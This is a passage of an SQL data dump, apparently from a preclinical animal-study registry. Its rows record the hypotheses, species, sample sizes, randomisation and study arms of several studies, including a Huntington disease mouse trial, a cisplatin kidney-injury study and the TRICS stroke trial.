	(6925,171,'study_centre','[{\"name\":\"University Clinic for companion animals\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6926,171,'financial_support','[\"grants\"]','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6927,171,'start_date','\"2019-10-15\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6928,171,'end_date','\"2020-07-01\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6929,171,'study_status','\"not_started\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6930,171,'research_field','\"dermatology\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6931,171,'hypothesis','\"The relatively remaining infected skin area is smaller for the immunotherapy treated side than for the placebo side.\"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6932,171,'intervention_type','\"compound\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6933,171,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6934,171,'primary_readout_parameter','\"Efficacy: Outcome parameter log(T14\\/0\\/P14\\/0) log(ratio of verum side\\/ratio placebo side)\\nthe infected skin surface after 14 days versus day 0\\npercentage of infected skin surface area accurate to 5%\"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6935,171,'exclusive_animal_use','\"no\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6936,171,'no_exclusive_animal_use_details','\"privately owned dogs\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6937,171,'species','\"dog\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6938,171,'other_species','\"short-haired\"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6939,171,'sex','\"both\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6940,171,'experimental_design','\"no animal model, dogs are patients in the clinic\\n\"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6941,171,'sample_size_calculation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6942,171,'sample_size_calculation_details','\"Safe T-Test, one-sided, alpha=0.05, beta=0.2, minimal detectable difference -0.41 expected decrease treated side 0.5 (T14\\/0), placebo 0.7 (P14\\/0)\\nexpected number of drop-outs 0\\n38 dogs\\nThanks to the Safe T-Test we can stop earlier or continue longer.\"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6943,171,'sum_of_animals','\"38\\neach dog is its own control, left and right (paired) of dogs \"','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6944,171,'study_arms','[{\"type\":\"sham\",\"number\":\"group 1 (side 1)\",\"intervention\":\"placebo (gel)\\/ 38 \"},{\"type\":\"intervention\",\"number\":\"group 2 (side 2)\",\"intervention\":\"antibody in gel\\/ 38\"}]','2022-03-31 13:23:47','2022-03-31 13:23:48'),
	(6945,171,'randomisation','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6946,171,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6947,171,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6948,171,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6949,171,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6950,171,'placebo_controlled','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6951,171,'has_embargo','\"yes\"','2022-03-31 13:23:47','2022-03-31 13:23:47'),
	(6952,143,'link_to_data','\"Related article: https:\\/\\/www.cell.com\\/cell-stem-cell\\/pdf\\/S1934-5909(19)30013-X.pdf\\nCurrent article: doi: 10.1007\\/s00395-021-00875-7\"','2022-03-31 13:23:48','2022-03-31 13:24:00'),
	(6953,172,'title','\"Test protocol\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6954,172,'short_title','\"TEST\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6955,172,'study_centre','[{\"name\":\"NLHI\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6956,172,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6957,172,'start_date','\"2019-10-09\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6958,172,'end_date','\"2019-10-15\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6959,172,'study_status','\"active\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6960,172,'research_field','\"Cardiology\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6961,172,'hypothesis','\"Type A is better than type B\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6962,172,'intervention_type','\"delivery_method\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6963,172,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6964,172,'primary_readout_parameter','\"Feasibility: Expression of injected compound after 4 weeks\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6965,172,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6966,172,'species','\"mouse\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6967,172,'sex','\"male\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6968,172,'experimental_design','\"MI\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6969,172,'sample_size_calculation','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6970,172,'sum_of_animals','\"10\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6971,172,'study_arms','[{\"type\":\"control\",\"number\":\"5\",\"intervention\":\"PBS\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Virus\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6972,172,'randomisation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6973,172,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6974,172,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6975,172,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6976,172,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6977,172,'placebo_controlled','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6978,172,'has_embargo','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6979,172,'contact_name','\"Annemarie Vegh\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6980,172,'contact_email','\"annemarie.vegh@heart-institute.nl\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6981,173,'title','\"The action of PDE10A inhibitor MP-10 on tetrabenazine-induced hypolocomotion in rats\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6982,173,'short_title','\"MP-10 on TBZ-treated rats\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6983,173,'contact_name','\"Ilya Sukhanov\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6984,173,'contact_role','\"research group supervisor\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6985,173,'contact_email','\"ilia.sukhanov@gmail.com\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6986,173,'study_centre','[{\"name\":\"Institute of Pharmacology, Pavlov First Saint Petersburg State Medical University\",\"city\":\"Saint Petersburg\",\"country\":\"RU\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6987,173,'financial_support','[\"grants\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6988,173,'start_date','\"2019-10-26\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6989,173,'end_date','\"2019-10-31\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6990,173,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:48','2022-03-31 13:23:59'),
	(6991,173,'research_field','\"neuroscience\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6992,173,'hypothesis','\"The activation of PDE10A by MP-10 is able to mitigate the hypolocomotion induced by tetrabenazine administration \"','2022-03-31 13:23:48','2022-03-31 13:23:59'),
	(6993,173,'intervention_type','\"compound\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6994,173,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6995,173,'primary_readout_parameter','\"Efficacy: efficacy based on horizontal locomotor activity (number of ambulations) after acute administration of MP-10\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6996,173,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6997,173,'species','\"rat\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6998,173,'strain','\"Wistar \"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(6999,173,'sex','\"male\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7000,173,'experimental_design','\"The rats treated with tetrabenazine (3 mg\\/kg, i.p.) 30 min before the start of locomotor activity assessment\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7001,173,'sample_size_calculation','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7002,173,'sample_size_calculation_details','\"Effect Size f = 0.613\\nalpha = 0.05 \\nbeta = 0.20\\npower = 0.80 \\n\\nWe expect no drop-outs\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7003,173,'sum_of_animals','\"36\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7004,173,'study_arms','[{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"TBZ + Vehicle\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"TBZ + MP-10 (0.3 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"TBZ + MP-10 (1 mg\\/kg)\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"TBZ + MP-10 (3 mg\\/kg)\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7005,173,'randomisation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7006,173,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7007,173,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7008,173,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7009,173,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7010,173,'placebo_controlled','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7011,173,'application_number','\"# 100_ 81_012017\\/3_900, tests in rats\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7012,173,'has_embargo','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7013,174,'title','\"Relationship of brain activity to motor function in C57BL\\/6 mice.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7014,174,'contact_name','\"Jack Bray\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7015,174,'contact_role','\"Researcher\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7016,174,'contact_email','\"jack.bray@abdn.ac.uk\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7017,174,'study_centre','[{\"name\":\"University of Aberdeen\",\"city\":\"Aberdeen\",\"country\":\"GB\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7018,174,'start_date','\"2019-11-11\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7019,174,'end_date','\"2019-12-16\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7020,174,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:48','2022-03-31 13:23:50'),
	(7021,174,'research_field','\"Neuroscience\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7022,174,'hypothesis','\"Assessing motor function and associated EEG activity in wild-type C57BL\\/6 mice.\"','2022-03-31 13:23:48','2022-03-31 13:23:50'),
	(7023,174,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7024,174,'primary_readout_parameter','\"Feasibility: EEG will be used to assess brain activity of mice during a number of different tasks involving locomotor activity. \"','2022-03-31 13:23:48','2022-03-31 13:23:50'),
	(7025,174,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7026,174,'species','\"mouse\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7027,174,'strain','\"C57BL\\/6J\"','2022-03-31 13:23:48','2022-03-31 13:23:50'),
	(7028,174,'sex','\"female\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7029,174,'sum_of_animals','\"12\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7030,174,'study_arms','[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7031,174,'randomisation','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:50'),
	(7032,174,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7033,174,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7034,174,'placebo_controlled','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7035,175,'title','\"Randomized, placebo-controlled studies assessing the efficacy of the glutaminyl cyclase inhibitor PQ912 on clinical course and neuropathology in a novel Huntington disease mouse model (B6N.zQ175DN knock-in mice).\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7036,175,'short_title','\"QCiHD\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7037,175,'contact_name','\"Stephan von H\\u00f6rsten\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7038,175,'contact_role','\"principle investigator\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7039,175,'contact_email','\"stephan.v.hoersten@fau.de\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7040,175,'study_centre','[{\"name\":\"University of Erlangen (FAU)\",\"city\":\"Erlangen\",\"country\":\"DE\"},{\"name\":\"University of Halle (Saale)\",\"city\":\"Halle (Saale)\",\"country\":\"DE\"},{\"name\":\"university of T\\u00fcbingen\",\"city\":\"T\\u00fcbingen\",\"country\":\"DE\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7041,175,'financial_support','[\"grants\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7042,175,'start_date','\"2020-04-01\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7043,175,'end_date','\"2023-03-31\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7044,175,'study_status','\"not_started\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7045,175,'research_field','\"neuroscience\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7046,175,'hypothesis','\"Pharmacological inhibition of glutaminyl cyclase activity reduces mutant huntingtin (HTT) mediated CNS toxicity and thereby delays onset and disease progression of Huntington disease (HD) in a relevant mouse model\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7047,175,'intervention_type','\"compound\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7048,175,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7049,175,'primary_readout_parameter','\"Efficacy: (1) survival (longevity assessment), (2) striatal volume\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7050,175,'secondary_readout_parameter','\"(ad 1) various behavioral secondary endpoints from motor functional, emotionality, and cognitive assays\\n(ad 2) various histopathological markers (GFAP, DARPP32) as well as mHTT levels\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7051,175,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7052,175,'species','\"mouse\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7053,175,'strain','\"C57BL\\/6N\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7054,175,'sex','\"both\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7055,175,'experimental_design','\"B6N.zQ175DN knock-in mice\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7056,175,'sample_size_calculation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7057,175,'sum_of_animals','\"Experiment 1: 160 total\\nExperiment 2: 220 total\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7058,175,'randomisation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7059,175,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7060,175,'study_arms','[{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle control wild type (WT)\"},{\"type\":\"sham\",\"number\":\"40\",\"intervention\":\"Exp 1 Vehicle control heterozygous (HET)\"},{\"type\":\"sham\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle control homozygous (HOM)\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Exp 1 Treated wild type (WT)\"},{\"type\":\"intervention\",\"number\":\"40\",\"intervention\":\"Exp 1 Treated heterozygous (HET)\"},{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Exp 1 Vehicle homozygous (HOM)\"},{\"type\":\"sham\",\"number\":\"28\",\"intervention\":\"Exp 2 Vehicle control wild type (WT)\"},{\"type\":\"sham\",\"number\":\"55\",\"intervention\":\"Exp 2 Vehicle control heterozygous (HET)\"},{\"type\":\"sham\",\"number\":\"28\",\"intervention\":\"Exp 2 Vehicle control homozygous (HOM)\"},{\"type\":\"intervention\",\"number\":\"27\",\"intervention\":\"Exp 2 Treated wild type (WT)\"},{\"type\":\"intervention\",\"number\":\"55\",\"intervention\":\"Exp 2 Treated heterozygous (HET)\"},{\"type\":\"intervention\",\"number\":\"27\",\"intervention\":\"Exp 2 Treated homozygous (HOM)\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7061,175,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7062,175,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7063,175,'placebo_controlled','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7064,175,'original_animal_ethics_committee_application','\"https:\\/\\/med-fak.rrze.uni-erlangen.de\\/tierschutz\\/animalExperimentDetail.do?id=3695&amp;action=edit&amp;actionCat=edit&amp;listType=my&amp;sessionAttsId=0\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7065,175,'has_embargo','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7066,175,'application_number','\"RegUFr #55.2-2532-2- 223 and 55.2-2532-2-204\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7067,176,'title','\"Dose-dependent influence of MWT-S-00270, a specific inhibitor of Meprin beta, on Cisplatin-induced acute kidney injury in mice\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7068,176,'short_title','\"PROTECT\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7069,176,'contact_name','\"Dr. Hoger Cynis\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7070,176,'contact_role','\"Research group supervisor\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7071,176,'contact_email','\"holger.cynis@izi.fraunhofer.de\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7072,176,'study_centre','[{\"name\":\"Fraunhofer IZI-MWT\",\"city\":\"Halle\",\"country\":\"DE\"},{\"name\":\"Fraunhofer IZI\",\"city\":\"Leipzig\",\"country\":\"DE\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7073,176,'financial_support','[\"grants\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7074,176,'start_date','\"2020-01-01\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7075,176,'end_date','\"2020-08-31\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7076,176,'study_status','\"not_started\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7077,176,'research_field','\"Nephrology\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7078,176,'hypothesis','\"The selective inhibition of Meprin beta improves kidney function during Cisplatin-induced akute kidney injury.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7079,176,'intervention_type','\"compound\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7080,176,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7081,176,'primary_readout_parameter','\"Efficacy: Creatinine in plasma 72 h after the insult\\nAlbumin in urine collected from 48-72 h\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7082,176,'secondary_readout_parameter','\"glomerular filtration rate, NGAL and KIM-1 in urine\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7083,176,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7084,176,'species','\"mouse\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7085,176,'strain','\"C57BL\\/6J and BALB\\/c\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7086,176,'sex','\"both\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7087,176,'experimental_design','\"Cisplatin-induced acute kidney injury\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7088,176,'sample_size_calculation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7089,176,'sample_size_calculation_details','\"A priori sample size calculation (alpha&lt;5%, power&gt;90%, tool: GPower 3.1) for a random-effect (dose effect) ANOVA model revealed out 8 animals per dose group. The statistical power analysis was based on an estimated effect (plasma Creatinine 40%, f2=0.65) of our pilot study. Taking into account a representative sample of female and male animals from two different wild type mouse strains each, and an equal distribution to the two study sites an experimental group size of 16 animals (total N=80) is required. No drop outs is respected.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7090,176,'sum_of_animals','\"80 animals\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7091,176,'study_arms','[{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"healthy control\"},{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"diseased control\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"low dose\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"mild dose\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"high dose\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7092,176,'randomisation','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7093,176,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7094,176,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7095,176,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7096,176,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7097,176,'placebo_controlled','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7098,176,'has_embargo','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7099,177,'title','\"Multi-center Translational Trial of Remote Ischemic Conditioning in Acute Ischemic Stroke (TRICS). A collaborative study from the Italian Stroke Organization (ISO) Basic Science network\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7100,177,'short_title','\"TRICS\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7101,177,'contact_name','\"Simone Beretta\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7102,177,'contact_role','\"Study Coordinator\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7103,177,'contact_email','\"beretta.simone@gmail.com\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7104,177,'financial_support','[\"grants\"]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7105,177,'study_centre','[{\"name\":\"Universit\\u00e0 di Milano Bicocca\",\"city\":\"Milano\",\"country\":\"IT\"},{\"name\":\"Universit\\u00e0 di Napoli Federico II\",\"city\":\"Napoli\",\"country\":\"IT\"},{\"name\":\"Istituto di Ricerche Farmacologiche Mario Negri\",\"city\":\"Milano\",\"country\":\"IT\"},{\"name\":\"Universit\\u00e0 di Milano\",\"city\":\"Milano\",\"country\":\"IT\"},{\"name\":\"Ospedale San Raffaele\",\"city\":\"Milano\",\"country\":\"IT\"},{\"name\":\"Universit\\u00e0 della Calabria\",\"city\":\"Cosenza\",\"country\":\"IT\"},{\"name\":\"Universit\\u00e0 di Firenze\",\"city\":\"Firenze\",\"country\":\"IT\"}]','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7106,177,'start_date','\"2019-08-28\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7107,177,'end_date','\"2022-08-28\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7108,177,'study_status','\"active\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7109,177,'has_embargo','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7110,177,'research_field','\"Neuroscience, Neurology, Stroke Medicine\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7111,177,'hypothesis','\"TRICS is a controlled, multi-center, randomized, factorial parallel, preclinical trial assessing efficacy of remote ischemic conditioning in the rodent stroke model of endovascular MCA occlusion followed by reperfusion, in two species (rats and mice), using both male and female animals.\\nThe hypothesis of this study is that remote ischemic conditioning will increase by &gt;30% the proportion of animals reaching a good neurological outcome at 48 hours.\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7112,177,'intervention_type','\"other\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7113,177,'other_intervention_type','\"Non-pharmacological therapy (remote ischemic conditioning)\"','2022-03-31 13:23:48','2022-03-31 13:23:49'),
	(7114,177,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7115,177,'primary_readout_parameter','\"Efficacy: Neurobehaviour by composite De Simoni neuroscore (13 items, range 0-56 points) at 48 hours after MCA occlusion in rats and mice. Composite neuroscore will be scored and then dichotomized to good functional outcome (0-20) or poor functional outcome (21-56).\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7116,177,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7117,177,'species','\"other\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7118,177,'other_species','\"Both rats and mice will be used\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7119,177,'strain','\"Sprague-Dawley rats and C57B mice\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7120,177,'sex','\"both\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7121,177,'experimental_design','\"MCA occlusion and reperfusion by endovascular filament\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7122,177,'sample_size_calculation','\"no\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7123,177,'sample_size_calculation_details','\"Primary objective of the proposed study is to test the null hypothesis that the proportion of good neurological outcome (according to dichotomized composite neuroscore, see above) is identical in the two MCA+ populations. From previous experiments we know that good neurological outcome is present in approximately 20% of the MCA+\\/RIC- animal. The criterion for significance (alpha) has been set at 0.050, two-tailed. With the proposed sample size of 40 and 40 for the two groups, the study will have power of 80% to yield a statistically significant result. This computation assumes that the difference in proportions is &gt;30% to be of substantive translational significance.\\nAnimals allocated to the two MCA- arms will serve as internal controls for neurobehavioural assessment and their number will not be determined following a statistical power analysis, since no specific statistical analysis will be carried out: in fact we know a priori that all the neuroscore values for MCA- will be lower than the best score in the MCA+ group. We however anticipate that three animals per center per MCA- group will be randomized, keeping their number at a minimum.\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
	(7124,177,'sum_of_animals','\"80 rats and 80 mice, randomized in the two MCA+ groups\\n(+ 12 rats and 12 mice, randomized in the two sham MCA- groups) \\n3 laboratories will perform experiments in rats only\\n3 laboratories will perform experiments in mice only\\n1 laboratory will perform experiments in both rats and mice\"','2022-03-31 13:23:48','2022-03-31 13:23:48'),
